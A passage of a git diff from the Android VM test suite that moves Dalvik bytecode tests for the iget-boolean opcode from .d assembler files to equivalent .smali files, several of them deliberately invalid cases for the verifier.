-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.smali
new file mode 100644
index 0000000..bc997e3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_17.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.d
deleted file mode 100644
index ab97074..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_18.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_18
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.smali
new file mode 100644
index 0000000..5922b90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_18.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.d
deleted file mode 100644
index 2909f36..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_19.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.smali
new file mode 100644
index 0000000..1838cc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_19.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.d
deleted file mode 100644
index e37f360..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_20.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.smali
new file mode 100644
index 0000000..2487c9bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_20.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.d
deleted file mode 100644
index c59f39d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_21.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_boolean/TestStubs/<init>()V
-
-       iget-boolean v1, v0, dot.junit.opcodes.iget_boolean.TestStubs.TestStubProtectedField Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.smali
new file mode 100644
index 0000000..2eb6bb5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_21.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/TestStubs;-><init>()V
+
+       iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/TestStubs;->TestStubProtectedField:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.d
deleted file mode 100644
index 7b6f6f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_3.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_3
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v3, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_3.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.smali
new file mode 100644
index 0000000..bb6f797
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_3.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v3, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_3;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.d
deleted file mode 100644
index 9f30d4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_30.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_30
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30
-    iget-boolean v1, v0, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_30.st_i1 Z
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.smali
new file mode 100644
index 0000000..4957b23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_30.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_30;
+    iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_30;->st_i1:Z
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.d
deleted file mode 100644
index ade9e7b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_31.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_31
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_31.st_i1 Z
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.smali
new file mode 100644
index 0000000..662fc71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_31.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_31;->st_i1:Z
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.d
deleted file mode 100644
index babcc08..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_35.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 2
-       iget-boolean v0, v1, dot.junit.opcodes.iget_boolean.TestStubs.TestStubProtectedField Z
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.smali
new file mode 100644
index 0000000..2b31401
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_35.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 2
+       iget-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/TestStubs;->TestStubProtectedField:Z
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.d
deleted file mode 100644
index 56747b1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_4.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_4
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_4.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.smali
new file mode 100644
index 0000000..7f29e80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_4.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_4;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.d
deleted file mode 100644
index f9bf929..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_5.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_5
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_5.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.smali
new file mode 100644
index 0000000..d817a56
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_5.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_5;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.d
deleted file mode 100644
index ae3a118..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_6.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_boolean/TestStubs/<init>()V
-
-       iget-boolean v1, v0, dot.junit.opcodes.iget_boolean.TestStubs.TestStubField Z
-       return v1
-.end method
-
-
